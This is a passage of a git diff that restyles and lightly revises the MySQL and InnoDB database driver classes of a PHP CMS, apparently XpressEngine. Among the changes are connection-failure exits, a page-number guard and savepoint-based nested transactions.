__connect($connection) { - // Ignore if no DB information exists - if (strpos($connection["db_hostname"], ':') === false && $connection["db_port"]) - $connection["db_hostname"] .= ':' . $connection["db_port"]; + function __connect($connection) + { + // Ignore if no DB information exists + if(strpos($connection["db_hostname"], ':') === false && $connection["db_port"]) + { + $connection["db_hostname"] .= ':' . $connection["db_port"]; + } - // Attempt to connect - $result = @mysql_connect($connection["db_hostname"], $connection["db_userid"], $connection["db_password"]); + // Attempt to connect + $result = @mysql_connect($connection["db_hostname"], $connection["db_userid"], $connection["db_password"]); + if(!$result) + { + exit('XE cannot connect to DB.'); + } - if(mysql_error()) { - $this->setError(mysql_errno(), mysql_error()); - return; - } - // Error appears if the version is lower than 4.1 - if(mysql_get_server_info($result)<"4.1") { - $this->setError(-1, "XE cannot be installed under the version of mysql 4.1. Current mysql version is ".mysql_get_server_info()); - return; - } - // select db - @mysql_select_db($connection["db_database"], $result); - if(mysql_error()) { - $this->setError(mysql_errno(), mysql_error()); - return; - } + if(mysql_error()) + { + $this->setError(mysql_errno(), mysql_error()); + return; + } + // Error appears if the version is lower than 4.1 + if(mysql_get_server_info($result) < "4.1") + { + $this->setError(-1, "XE cannot be installed under the version of mysql 4.1. Current mysql version is " . mysql_get_server_info()); + return; + } + // select db + @mysql_select_db($connection["db_database"], $result); + if(mysql_error()) + { + $this->setError(mysql_errno(), mysql_error()); + return; + } - return $result; - } + return $result; + } /** * If have a task after connection, add a taks in this method @@ -102,10 +120,11 @@ class DBMysql extends DB { * @param resource $connection * @return void */ - function _afterConnect($connection){ - // Set utf8 if a database is MySQL - $this->_query("set names 'utf8'", $connection); - } + function _afterConnect($connection) + { + // Set utf8 if a database is MySQL + $this->_query("set names 'utf8'", $connection); + } /** * DB disconnection @@ -113,47 +132,58 @@ class DBMysql extends DB { * @param resource $connection * @return void */ - function _close($connection) { - @mysql_close($connection); - } + function _close($connection) + { + @mysql_close($connection); + } /** * Handles quatation of the string variables from the query * @param string $string * @return string */ - function addQuotes($string) { - if(version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) $string = stripslashes(str_replace("\\","\\\\",$string)); - if(!is_numeric($string)) $string = @mysql_real_escape_string($string); - return $string; - } + function addQuotes($string) + { + if(version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) + { + $string = stripslashes(str_replace("\\", "\\\\", $string)); + } + if(!is_numeric($string)) + { + $string = @mysql_real_escape_string($string); + } + return $string; + } /** * DB transaction start * this method is private * @return boolean */ - function _begin() { - return true; - } + function _begin() + { + return true; + } /** * DB transaction rollback * this method is private * @return boolean */ - function _rollback() { - return true; - } + function _rollback() + { + return true; + } /** * DB transaction commit * this method is private * @return boolean */ - function _commit() { - return true; - } + function _commit() + { + return true; + } /** * Execute the query @@ -162,14 +192,22 @@ class DBMysql extends DB { * @param resource $connection * @return resource */ - function __query($query, $connection) { - // Run the query statement - $result = mysql_query($query, $connection); - // Error Check - if(mysql_error($connection)) $this->setError(mysql_errno($connection), mysql_error($connection)); - // Return result - return $result; - } + function __query($query, $connection) + { + if(!$connection) + { + exit('XE cannot handle DB connection.'); + } + // Run the query statement + $result = mysql_query($query, $connection); + // Error Check + if(mysql_error($connection)) + { + $this->setError(mysql_errno($connection), mysql_error($connection)); + } + // Return result + return $result; + } /** * Fetch the result @@ -177,37 +215,57 @@ class DBMysql extends DB { * @param int|NULL $arrayIndexEndValue * @return array */ - function _fetch($result, $arrayIndexEndValue = NULL) { - $output = array(); - if(!$this->isConnected() || $this->isError() || !$result) return $output; - while($tmp = $this->db_fetch_object($result)) { - if($arrayIndexEndValue) $output[$arrayIndexEndValue--] = $tmp; - else $output[] = $tmp; - } - if(count($output)==1){ - if(isset($arrayIndexEndValue)) return $output; - else return $output[0]; - } - $this->db_free_result($result); - return $output; - } + function _fetch($result, $arrayIndexEndValue = NULL) + { + $output = array(); + if(!$this->isConnected() || $this->isError() || !$result) + { + return $output; + } + while($tmp = $this->db_fetch_object($result)) + { + if($arrayIndexEndValue) + { + $output[$arrayIndexEndValue--] = $tmp; + } + else + { + $output[] = $tmp; + } + } + if(count($output) == 1) + { + if(isset($arrayIndexEndValue)) + { + return $output; + } + else + { + return $output[0]; + } + } + $this->db_free_result($result); + return $output; + } /** * Return the sequence value incremented by 1 * Auto_increment column only used in the sequence table * @return int */ - function getNextSequence() { - $query = sprintf("insert into `%ssequence` (seq) values ('0')", $this->prefix); - $this->_query($query); - $sequence = $this->db_insert_id(); - if($sequence % 10000 == 0) { - $query = sprintf("delete from `%ssequence` where seq < %d", $this->prefix, $sequence); - $this->_query($query); - } + function getNextSequence() + { + $query = sprintf("insert into `%ssequence` (seq) values ('0')", $this->prefix); + $this->_query($query); + $sequence = $this->db_insert_id(); + if($sequence % 10000 == 0) + { + $query = sprintf("delete from `%ssequence` where seq < %d", $this->prefix, $sequence); + $this->_query($query); + } - return $sequence; - } + return $sequence; + } /** * Function to obtain mysql old password(mysql only) @@ -215,26 +273,34 @@ class DBMysql extends DB { * @param string $saved_password saved password in DBMS * @return boolean */ - function isValidOldPassword($password, $saved_password) { - $query = sprintf("select password('%s') as password, old_password('%s') as old_password", $this->addQuotes($password), $this->addQuotes($password)); - $result = $this->_query($query); - $tmp = $this->_fetch($result); - if($tmp->password == $saved_password || $tmp->old_password == $saved_password) return true; - return false; - } + function isValidOldPassword($password, $saved_password) + { + $query = sprintf("select password('%s') as password, old_password('%s') as old_password", $this->addQuotes($password), $this->addQuotes($password)); + $result = $this->_query($query); + $tmp = $this->_fetch($result); + if($tmp->password == $saved_password || $tmp->old_password == $saved_password) + { + return true; + } + return false; + } /** * Check a table exists status * @param string $target_name * @return boolean */ - function isTableExists($target_name) { - $query = sprintf("show tables like '%s%s'", $this->prefix, $this->addQuotes($target_name)); - $result = $this->_query($query); - $tmp = $this->_fetch($result); - if(!$tmp) return false; - return true; - } + function isTableExists($target_name) + { + $query = sprintf("show tables like '%s%s'", $this->prefix, $this->addQuotes($target_name)); + $result = $this->_query($query); + $tmp = $this->_fetch($result); + if(!$tmp) + { + return false; + } + return true; + } /** * Add a column to the table @@ -246,18 +312,34 @@ class DBMysql extends DB { * @param boolean $notnull not null status, default value is false * @return void */ - function addColumn($table_name, $column_name, $type='number', $size='', $default = '', $notnull=false) { - $type = $this->column_type[$type]; - if(strtoupper($type)=='INTEGER') $size = ''; + function addColumn($table_name, $column_name, $type = 'number', $size = '', $default = '', $notnull = false) + { + $type = $this->column_type[$type]; + if(strtoupper($type) == 'INTEGER') + { + $size = ''; + } - $query = sprintf("alter table `%s%s` add `%s` ", $this->prefix, $table_name, $column_name); - if($size) $query .= sprintf(" %s(%s) ", $type, $size); - else $query .= sprintf(" %s ", $type); - if($default) $query .= sprintf(" default '%s' ", $default); - if($notnull) $query .= " not null "; + $query = sprintf("alter table `%s%s` add `%s` ", $this->prefix, $table_name, $column_name); + if($size) + { + $query .= sprintf(" %s(%s) ", $type, $size); + } + else + { + $query .= sprintf(" %s ", $type); + } + if($default) + { + $query .= sprintf(" default '%s' ", $default); + } + if($notnull) + { + $query .= " not null "; + } - return $this->_query($query); - } + return $this->_query($query); + } /** * Drop a column from the table @@ -265,10 +347,11 @@ class DBMysql extends DB { * @param string $column_name column name * @return void */ - function dropColumn($table_name, $column_name) { - $query = sprintf("alter table `%s%s` drop `%s` ", $this->prefix, $table_name, $column_name); - $this->_query($query); - } + function dropColumn($table_name, $column_name) + { + $query = sprintf("alter table `%s%s` drop `%s` ", $this->prefix, $table_name, $column_name); + $this->_query($query); + } /** * Check column exist status of the table @@ -276,20 +359,29 @@ class DBMysql extends DB { * @param string $column_name column name * @return boolean */ - function isColumnExists($table_name, $column_name) { - $query = sprintf("show fields from `%s%s`", $this->prefix, $table_name); - $result = $this->_query($query); - if($this->isError()) return; - $output = $this->_fetch($result); - if($output) { - $column_name = strtolower($column_name); - foreach($output as $key => $val) { - $name = strtolower($val->Field); - if($column_name == $name) return true; - } - } - return false; - } + function isColumnExists($table_name, $column_name) + { + $query = sprintf("show fields from `%s%s`", $this->prefix, $table_name); + $result = $this->_query($query); + if($this->isError()) + { + return; + } + $output = $this->_fetch($result); + if($output) + { + $column_name = strtolower($column_name); + foreach($output as $key => $val) + { + $name = strtolower($val->Field); + if($column_name == $name) + { + return true; + } + } + } + return false; + } /** * Add an index to the table @@ -301,12 +393,16 @@ class DBMysql extends DB { * @param boolean $is_unique * @return void */ - function addIndex($table_name, $index_name, $target_columns, $is_unique = false) { - if(!is_array($target_columns)) $target_columns = array($target_columns); + function addIndex($table_name, $index_name, $target_columns, $is_unique = false) + { + if(!is_array($target_columns)) + { + $target_columns = array($target_columns); + } - $query = sprintf("alter table `%s%s` add %s index `%s` (%s);", $this->prefix, $table_name, $is_unique?'unique':'', $index_name, implode(',',$target_columns)); - $this->_query($query); - } + $query = sprintf("alter table `%s%s` add %s index `%s` (%s);", $this->prefix, $table_name, $is_unique ? 'unique' : '', $index_name, implode(',', $target_columns)); + $this->_query($query); + } /** * Drop an index from the table @@ -315,11 +411,11 @@ class DBMysql extends DB { * @param boolean $is_unique * @return void */ - function dropIndex($table_name, $index_name, $is_unique = false) { - $query = sprintf("alter table `%s%s` drop index `%s`", $this->prefix, $table_name, $index_name); - $this->_query($query); - } - + function dropIndex($table_name, $index_name, $is_unique = false) + { + $query = sprintf("alter table `%s%s` drop index `%s`", $this->prefix, $table_name, $index_name); + $this->_query($query); + } /** * Check index status of the table @@ -327,41 +423,60 @@ class DBMysql extends DB { * @param string $index_name index name * @return boolean */ - function isIndexExists($table_name, $index_name) { - //$query = sprintf("show indexes from %s%s where key_name = '%s' ", $this->prefix, $table_name, $index_name); - $query = sprintf("show indexes from `%s%s`", $this->prefix, $table_name); - $result = $this->_query($query); - if($this->isError()) return; - $output = $this->_fetch($result); - if(!$output) return; - if(!is_array($output)) $output = array($output); + function isIndexExists($table_name, $index_name) + { + //$query = sprintf("show indexes from %s%s where key_name = '%s' ", $this->prefix, $table_name, $index_name); + $query = sprintf("show indexes from `%s%s`", $this->prefix, $table_name); + $result = $this->_query($query); + if($this->isError()) + { + return; + } + $output = $this->_fetch($result); + if(!$output) + { + return; + } + if(!is_array($output)) + { + $output = array($output); + } - for($i=0;$iKey_name == $index_name) return true; - } - return false; - } + for($i = 0; $i < count($output); $i++) + { + if($output[$i]->Key_name == $index_name) + { + return true; + } + } + return false; + } /** * Creates a table by using xml contents * @param string $xml_doc xml schema contents * @return void|object */ - function createTableByXml($xml_doc) { - return $this->_createTable($xml_doc); - } + function createTableByXml($xml_doc) + { + return $this->_createTable($xml_doc); + } /** * Creates a table by using xml file path * @param string $file_name xml schema file path * @return void|object */ - function createTableByXmlFile($file_name) { - if(!file_exists($file_name)) return; - // read xml file - $buff = FileHandler::readFile($file_name); - return $this->_createTable($buff); - } + function createTableByXmlFile($file_name) + { + if(!file_exists($file_name)) + { + return; + } + // read xml file + $buff = FileHandler::readFile($file_name); + return $this->_createTable($buff); + } /** * Create table by using the schema xml @@ -372,68 +487,87 @@ class DBMysql extends DB { * @param string $xml_doc xml schema contents * @return void|object */ - function _createTable($xml_doc) { - // xml parsing - $oXml = new XmlParser(); - $xml_obj = $oXml->parse($xml_doc); - // Create a table schema - $table_name = $xml_obj->table->attrs->name; - if($this->isTableExists($table_name)) return; - $table_name = $this->prefix.$table_name; + function _createTable($xml_doc) + { + // xml parsing + $oXml = new XmlParser(); + $xml_obj = $oXml->parse($xml_doc); + // Create a table schema + $table_name = $xml_obj->table->attrs->name; + if($this->isTableExists($table_name)) + { + return; + } + $table_name = $this->prefix . $table_name; - if(!is_array($xml_obj->table->column)) $columns[] = $xml_obj->table->column; - else $columns = $xml_obj->table->column; + if(!is_array($xml_obj->table->column)) + { + $columns[] = $xml_obj->table->column; + } + else + { + $columns = $xml_obj->table->column; + } - $primary_list = array(); - $unique_list = array(); - $index_list = array(); + $primary_list = array(); + $unique_list = array(); + $index_list = array(); - foreach($columns as $column) { - $name = $column->attrs->name; - $type = $column->attrs->type; - $size = $column->attrs->size; - $notnull = $column->attrs->notnull; - $primary_key = $column->attrs->primary_key; - $index = $column->attrs->index; - $unique = $column->attrs->unique; - $default = $column->attrs->default; - $auto_increment = $column->attrs->auto_increment; + foreach($columns as $column) + { + $name = $column->attrs->name; + $type = $column->attrs->type; + $size = $column->attrs->size; + $notnull = $column->attrs->notnull; + $primary_key = $column->attrs->primary_key; + $index = $column->attrs->index; + $unique = $column->attrs->unique; + $default = $column->attrs->default; + $auto_increment = $column->attrs->auto_increment; - $column_schema[] = sprintf('`%s` %s%s %s %s %s', - $name, - $this->column_type[$type], - $size?'('.$size.')':'', - isset($default)?"default '".$default."'":'', - $notnull?'not null':'', - $auto_increment?'auto_increment':'' - ); + $column_schema[] = sprintf('`%s` %s%s %s %s %s', $name, $this->column_type[$type], $size ? '(' . $size . ')' : '', isset($default) ? "default '" . $default . "'" : '', $notnull ? 'not null' : '', $auto_increment ? 'auto_increment' : ''); - if($primary_key) $primary_list[] = $name; - else if($unique) $unique_list[$unique][] = $name; - else if($index) $index_list[$index][] = $name; - } + if($primary_key) + { + $primary_list[] = $name; + } + else if($unique) + { + $unique_list[$unique][] = $name; + } + else if($index) + { + $index_list[$index][] = $name; + } + } - if(count($primary_list)) { - $column_schema[] = sprintf("primary key (%s)", '`'.implode($primary_list,'`,`').'`'); - } + if(count($primary_list)) + { + $column_schema[] = sprintf("primary key (%s)", '`' . implode($primary_list, '`,`') . '`'); + } - if(count($unique_list)) { - foreach($unique_list as $key => $val) { - $column_schema[] = sprintf("unique %s (%s)", $key, '`'.implode($val,'`,`').'`'); - } - } + if(count($unique_list)) + { + foreach($unique_list as $key => $val) + { + $column_schema[] = sprintf("unique %s (%s)", $key, '`' . implode($val, '`,`') . '`'); + } + } - if(count($index_list)) { - foreach($index_list as $key => $val) { - $column_schema[] = sprintf("index %s (%s)", $key, '`'.implode($val,'`,`').'`'); - } - } + if(count($index_list)) + { + foreach($index_list as $key => $val) + { + $column_schema[] = sprintf("index %s (%s)", $key, '`' . implode($val, '`,`') . '`'); + } + } - $schema = sprintf('create table `%s` (%s%s) %s;', $this->addQuotes($table_name), "\n", implode($column_schema,",\n"), "ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci"); + $schema = sprintf('create table `%s` (%s%s) %s;', $this->addQuotes($table_name), "\n", implode($column_schema, ",\n"), "ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci"); - $output = $this->_query($schema); - if(!$output) return false; - } + $output = $this->_query($schema); + if(!$output) + return false; + } /** * Handles insertAct @@ -441,12 +575,16 @@ class DBMysql extends DB { * @param boolean $with_values * @return resource */ - function _executeInsertAct($queryObject, $with_values = true) { - $query = $this->getInsertSql($queryObject, $with_values, true); + function _executeInsertAct($queryObject, $with_values = true) + { + $query = $this->getInsertSql($queryObject, $with_values, true); $query .= (__DEBUG_QUERY__ & 1 && $this->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; - if(is_a($query, 'Object')) return; - return $this->_query($query); - } + if(is_a($query, 'Object')) + { + return; + } + return $this->_query($query); + } /** * Handles updateAct @@ -454,12 +592,16 @@ class DBMysql extends DB { * @param boolean $with_values * @return resource */ - function _executeUpdateAct($queryObject, $with_values = true) { - $query = $this->getUpdateSql($queryObject, $with_values, true); + function _executeUpdateAct($queryObject, $with_values = true) + { + $query = $this->getUpdateSql($queryObject, $with_values, true); $query .= (__DEBUG_QUERY__ & 1 && $this->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; - if(is_a($query, 'Object')) return; - return $this->_query($query); - } + if(is_a($query, 'Object')) + { + return; + } + return $this->_query($query); + } /** * Handles deleteAct @@ -467,12 +609,16 @@ class DBMysql extends DB { * @param boolean $with_values * @return resource */ - function _executeDeleteAct($queryObject, $with_values = true) { - $query = $this->getDeleteSql($queryObject, $with_values, true); + function _executeDeleteAct($queryObject, $with_values = true) + { + $query = $this->getDeleteSql($queryObject, $with_values, true); $query .= (__DEBUG_QUERY__ & 1 && $this->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; - if(is_a($query, 'Object')) return; - return $this->_query($query); - } + if(is_a($query, 'Object')) + { + return; + } + return $this->_query($query); + } /** * Handle selectAct @@ -483,24 +629,32 @@ class DBMysql extends DB { * @param boolean $with_values * @return Object */ - function _executeSelectAct($queryObject, $connection = null, $with_values = true) { - $limit = $queryObject->getLimit(); - $result = NULL; - if ($limit && $limit->isPageHandler()) - return $this->queryPageLimit($queryObject, $result, $connection, $with_values); - else { - $query = $this->getSelectSql($queryObject, $with_values); - if (is_a($query, 'Object')) - return; - $query .= (__DEBUG_QUERY__ & 1 && $queryObject->queryID) ? sprintf(' ' . $this->comment_syntax, $queryObject->queryID) : ''; + function _executeSelectAct($queryObject, $connection = null, $with_values = true) + { + $limit = $queryObject->getLimit(); + $result = NULL; + if($limit && $limit->isPageHandler()) + { + return $this->queryPageLimit($queryObject, $result, $connection, $with_values); + } + else + { + $query = $this->getSelectSql($queryObject, $with_values); + if(is_a($query, 'Object')) + { + return; + } + $query .= (__DEBUG_QUERY__ & 1 && $queryObject->queryID) ? sprintf(' ' . $this->comment_syntax, $queryObject->queryID) : ''; - $result = $this->_query($query, $connection); - if ($this->isError()) - return $this->queryError($queryObject); + $result = $this->_query($query, $connection); + if($this->isError()) + { + return $this->queryError($queryObject); + } - $data = $this->_fetch($result); - $buff = new Object (); - $buff->data = $data; + $data = $this->_fetch($result); + $buff = new Object (); + $buff->data = $data; if($queryObject->usesClickCount()) { @@ -508,9 +662,9 @@ class DBMysql extends DB { $this->_executeUpdateAct($update_query, $with_values); } - return $buff; - } - } + return $buff; + } + } /** * Get the ID generated in the last query @@ -518,59 +672,66 @@ class DBMysql extends DB { * This method use only mysql * @return int */ - function db_insert_id() - { - $connection = $this->_getConnection('master'); - return mysql_insert_id($connection); - } + function db_insert_id() + { + $connection = $this->_getConnection('master'); + return mysql_insert_id($connection); + } /** * Fetch a result row as an object * @param resource $result * @return object */ - function db_fetch_object(&$result) - { - return mysql_fetch_object($result); - } + function db_fetch_object(&$result) + { + return mysql_fetch_object($result); + } /** * Free result memory * @param resource $result * @return boolean Returns TRUE on success or FALSE on failure. */ - function db_free_result(&$result){ - return mysql_free_result($result); - } + function db_free_result(&$result) + { + return mysql_free_result($result); + } /** * Return the DBParser * @param boolean $force * @return DBParser */ - function &getParser($force = FALSE){ - $dbParser = new DBParser('`', '`', $this->prefix); - return $dbParser; - } + function &getParser($force = FALSE) + { + $dbParser = new DBParser('`', '`', $this->prefix); + return $dbParser; + } /** * If have a error, return error object * @param Object $queryObject * @return Object */ - function queryError($queryObject){ - $limit = $queryObject->getLimit(); - if ($limit && $limit->isPageHandler()){ - $buff = new Object (); - $buff->total_count = 0; - $buff->total_page = 0; - $buff->page = 1; - $buff->data = array (); - $buff->page_navigation = new PageHandler (/*$total_count*/0, /*$total_page*/1, /*$page*/1, /*$page_count*/10);//default page handler values - return $buff; - }else - return; - } + function queryError($queryObject) + { + $limit = $queryObject->getLimit(); + if($limit && $limit->isPageHandler()) + { + $buff = new Object (); + $buff->total_count = 0; + $buff->total_page = 0; + $buff->page = 1; + $buff->data = array(); + $buff->page_navigation = new PageHandler(/* $total_count */0, /* $total_page */1, /* $page */1, /* $page_count */10); //default page handler values + return $buff; + } + else + { + return; + } + } /** * If select query execute, return page info @@ -580,77 +741,95 @@ class DBMysql extends DB { * @param boolean $with_values * @return Object Object with page info containing */ - function queryPageLimit($queryObject, $result, $connection, $with_values = true){ - $limit = $queryObject->getLimit(); - // Total count - $temp_where = $queryObject->getWhereString($with_values, false); - $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString($with_values), ($temp_where === '' ? '' : ' WHERE '. $temp_where)); + function queryPageLimit($queryObject, $result, $connection, $with_values = true) + { + $limit = $queryObject->getLimit(); + // Total count + $temp_where = $queryObject->getWhereString($with_values, false); + $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString($with_values), ($temp_where === '' ? '' : ' WHERE ' . $temp_where)); - // Check for distinct query and if found update count query structure - $temp_select = $queryObject->getSelectString($with_values); - $uses_distinct = strpos(strtolower($temp_select), "distinct") !== false; - $uses_groupby = $queryObject->getGroupByString() != ''; - if($uses_distinct || $uses_groupby) { - $count_query = sprintf('select %s %s %s %s' - , $temp_select == '*' ? '1' : $temp_select - , 'FROM ' . $queryObject->getFromString($with_values) - , ($temp_where === '' ? '' : ' WHERE '. $temp_where) - , ($uses_groupby ? ' GROUP BY ' . $queryObject->getGroupByString() : '') - ); + // Check for distinct query and if found update count query structure + $temp_select = $queryObject->getSelectString($with_values); + $uses_distinct = strpos(strtolower($temp_select), "distinct") !== false; + $uses_groupby = $queryObject->getGroupByString() != ''; + if($uses_distinct || $uses_groupby) + { + $count_query = sprintf('select %s %s %s %s' + , $temp_select == '*' ? '1' : $temp_select + , 'FROM ' . $queryObject->getFromString($with_values) + , ($temp_where === '' ? '' : ' WHERE ' . $temp_where) + , ($uses_groupby ? ' GROUP BY ' . $queryObject->getGroupByString() : '') + ); - // If query uses grouping or distinct, count from original select - $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); - } + // If query uses grouping or distinct, count from original select + $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); + } - $count_query .= (__DEBUG_QUERY__&1 && $queryObject->queryID)?sprintf (' '.$this->comment_syntax, $queryObject->queryID):''; - $result_count = $this->_query($count_query, $connection); - $count_output = $this->_fetch($result_count); - $total_count = (int)(isset($count_output->count) ? $count_output->count : NULL); + $count_query .= (__DEBUG_QUERY__ & 1 && $queryObject->queryID) ? sprintf(' ' . $this->comment_syntax, $queryObject->queryID) : ''; + $result_count = $this->_query($count_query, $connection); + $count_output = $this->_fetch($result_count); + $total_count = (int) (isset($count_output->count) ? $count_output->count : NULL); - $list_count = $limit->list_count->getValue(); - if (!$list_count) $list_count = 20; - $page_count = $limit->page_count->getValue(); - if (!$page_count) $page_count = 10; - $page = $limit->page->getValue(); - if (!$page) $page = 1; + $list_count = $limit->list_count->getValue(); + if(!$list_count) + { + $list_count = 20; + } + $page_count = $limit->page_count->getValue(); + if(!$page_count) + { + $page_count = 10; + } + $page = $limit->page->getValue(); + if(!$page || $page < 1) + { + $page = 1; + } - // total pages - if ($total_count) - $total_page = (int) (($total_count - 1) / $list_count) + 1; - else - $total_page = 1; + // total pages + if($total_count) + { + $total_page = (int) (($total_count - 1) / $list_count) + 1; + } + else + { + $total_page = 1; + } - // check the page variables - if ($page > $total_page) { - // If requested page is bigger than total number of pages, return empty list - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $page; - $buff->data = array(); - $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - return $buff; - } - $start_count = ($page - 1) * $list_count; + // check the page variables + if($page > $total_page) + { + // If requested page is bigger than total number of pages, return empty list + $buff = new Object (); + $buff->total_count = $total_count; + $buff->total_page = $total_page; + $buff->page = $page; + $buff->data = array(); + $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); + return $buff; + } + $start_count = ($page - 1) * $list_count; - $query = $this->getSelectPageSql($queryObject, $with_values, $start_count, $list_count); + $query = $this->getSelectPageSql($queryObject, $with_values, $start_count, $list_count); - $query .= (__DEBUG_QUERY__&1 && $queryObject->query_id)?sprintf (' '.$this->comment_syntax, $this->query_id):''; - $result = $this->_query ($query, $connection); - if ($this->isError ()) - return $this->queryError($queryObject); + $query .= (__DEBUG_QUERY__ & 1 && $queryObject->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; + $result = $this->_query($query, $connection); + if($this->isError()) + { + return $this->queryError($queryObject); + } - $virtual_no = $total_count - ($page - 1) * $list_count; - $data = $this->_fetch($result, $virtual_no); + $virtual_no = $total_count - ($page - 1) * $list_count; + $data = $this->_fetch($result, $virtual_no); - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $page; - $buff->data = $data; - $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - return $buff; - } + $buff = new Object (); + $buff->total_count = $total_count; + $buff->total_page = $total_page; + $buff->page = $page; + $buff->data = $data; + $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); + return $buff; + } /** * If select query execute, return paging sql @@ -660,28 +839,49 @@ class DBMysql extends DB { * @param int $list_count * @return string select paging sql */ - function getSelectPageSql($query, $with_values = true, $start_count = 0, $list_count = 0) { - $select = $query->getSelectString($with_values); - if($select == '') return new Object(-1, "Invalid query"); - $select = 'SELECT ' .$select; + function getSelectPageSql($query, $with_values = true, $start_count = 0, $list_count = 0) + { + $select = $query->getSelectString($with_values); + if($select == '') + { + return new Object(-1, "Invalid query"); + } + $select = 'SELECT ' . $select; - $from = $query->getFromString($with_values); - if($from == '') return new Object(-1, "Invalid query"); - $from = ' FROM '.$from; + $from = $query->getFromString($with_values); + if($from == '') + { + return new Object(-1, "Invalid query"); + } + $from = ' FROM ' . $from; - $where = $query->getWhereString($with_values); - if($where != '') $where = ' WHERE ' . $where; + $where = $query->getWhereString($with_values); + if($where != '') + { + $where = ' WHERE ' . $where; + } - $groupBy = $query->getGroupByString(); - if($groupBy != '') $groupBy = ' GROUP BY ' . $groupBy; + $groupBy = $query->getGroupByString(); + if($groupBy != '') + { + $groupBy = ' GROUP BY ' . $groupBy; + } - $orderBy = $query->getOrderByString(); - if($orderBy != '') $orderBy = ' ORDER BY ' . $orderBy; + $orderBy = $query->getOrderByString(); + if($orderBy != '') + { + $orderBy = ' ORDER BY ' . $orderBy; + } - $limit = $query->getLimitString(); - if ($limit != '') $limit = sprintf (' LIMIT %d, %d', $start_count, $list_count); + $limit = $query->getLimitString(); + if($limit != '') + { + $limit = sprintf(' LIMIT %d, %d', $start_count, $list_count); + } + + return $select . ' ' . $from . ' ' . $where . ' ' . $groupBy . ' ' . $orderBy . ' ' . $limit; + } - return $select . ' ' . $from . ' ' . $where . ' ' . $groupBy . ' ' . $orderBy . ' ' . $limit; - } } -?> +/* End of file DBMysql.class.php */ +/* Location: ./classes/db/DBMysql.class.php */ diff --git a/classes/db/DBMysql_innodb.class.php b/classes/db/DBMysql_innodb.class.php index 9adcd58fb..039c62305 100644 --- a/classes/db/DBMysql_innodb.class.php +++ b/classes/db/DBMysql_innodb.class.php @@ -1,162 +1,218 @@ _setDBInfo(); + $this->_connect(); + } - /** - * Constructor - * @return void - **/ - function DBMysql_innodb() { - $this->_setDBInfo(); - $this->_connect(); - } + /** + * Create an instance of this class + * @return DBMysql_innodb return DBMysql_innodb object instance + */ + function create() + { + return new DBMysql_innodb; + } - /** - * Create an instance of this class - * @return DBMysql_innodb return DBMysql_innodb object instance - */ - function create() + /** + * DB disconnection + * this method is private + * @param resource $connection + * @return void + */ + function _close($connection) + { + $this->_query("commit", $connection); + @mysql_close($connection); + } + + /** + * DB transaction start + * this method is private + * @return boolean + */ + function _begin($transactionLevel) + { + $connection = $this->_getConnection('master'); + + if(!$transactionLevel) { - return new DBMysql_innodb; + $this->_query("START TRANSACTION", $connection); + } + else + { + $this->_query("SAVEPOINT SP" . $transactionLevel, $connection); + } + return true; + } + + /** + * DB transaction rollback + * this method is private + * @return boolean + */ + function _rollback($transactionLevel) + { + $connection = $this->_getConnection('master'); + + $point = $transactionLevel - 1; + + if($point) + { + $this->_query("ROLLBACK TO SP" . $point, $connection); + } + else + { + $this->_query("ROLLBACK", $connection); + } + return true; + } + + /** + * DB transaction commit + * this method is private + * @return boolean + */ + function _commit() + { + $connection = $this->_getConnection('master'); + $this->_query("commit", $connection); + return true; + } + + /** + * Execute the query + * this method is private + * @param string $query + * @param resource $connection + * @return resource + */ + function __query($query, $connection) + { + if(!$connection) + { + exit('XE cannot handle DB connection.'); + } + // Run the query statement + $result = @mysql_query($query, $connection); + // Error Check + if(mysql_error($connection)) + { + $this->setError(mysql_errno($connection), mysql_error($connection)); + } + // Return result + return $result; + } + + /** + * Create table by using the schema xml + * + * type : number, varchar, tinytext, text, bigtext, char, date, \n + * opt : notnull, default, size\n + * index : primary key, index, unique\n + * @param string $xml_doc xml schema contents + * @return void|object + */ + function _createTable($xml_doc) + { + // xml parsing + $oXml = new XmlParser(); + $xml_obj = $oXml->parse($xml_doc); + // Create a table schema + $table_name = $xml_obj->table->attrs->name; + if($this->isTableExists($table_name)) + { + return; + } + $table_name = $this->prefix . $table_name; + + if(!is_array($xml_obj->table->column)) + { + $columns[] = $xml_obj->table->column; + } + else + { + $columns = $xml_obj->table->column; } - /** - * DB disconnection - * this method is private - * @param resource $connection - * @return void - */ - function _close($connection) { - $this->_query("commit", $connection); - @mysql_close($connection); - } + foreach($columns as $column) + { + $name = $column->attrs->name; + $type = $column->attrs->type; + $size = $column->attrs->size; + $notnull = $column->attrs->notnull; + $primary_key = $column->attrs->primary_key; + $index = $column->attrs->index; + $unique = $column->attrs->unique; + $default = $column->attrs->default; + $auto_increment = $column->attrs->auto_increment; - /** - * DB transaction start - * this method is private - * @return boolean - */ - function _begin() { - $connection = $this->_getConnection('master'); - $this->_query("begin", $connection); - return true; - } + $column_schema[] = sprintf('`%s` %s%s %s %s %s', $name, $this->column_type[$type], $size ? '(' . $size . ')' : '', isset($default) ? "default '" . $default . "'" : '', $notnull ? 'not null' : '', $auto_increment ? 'auto_increment' : ''); - /** - * DB transaction rollback - * this method is private - * @return boolean - */ - function _rollback() { - $connection = $this->_getConnection('master'); - $this->_query("rollback", $connection); - return true; - } + if($primary_key) + { + $primary_list[] = $name; + } + else if($unique) + { + $unique_list[$unique][] = $name; + } + else if($index) + { + $index_list[$index][] = $name; + } + } - /** - * DB transaction commit - * this method is private - 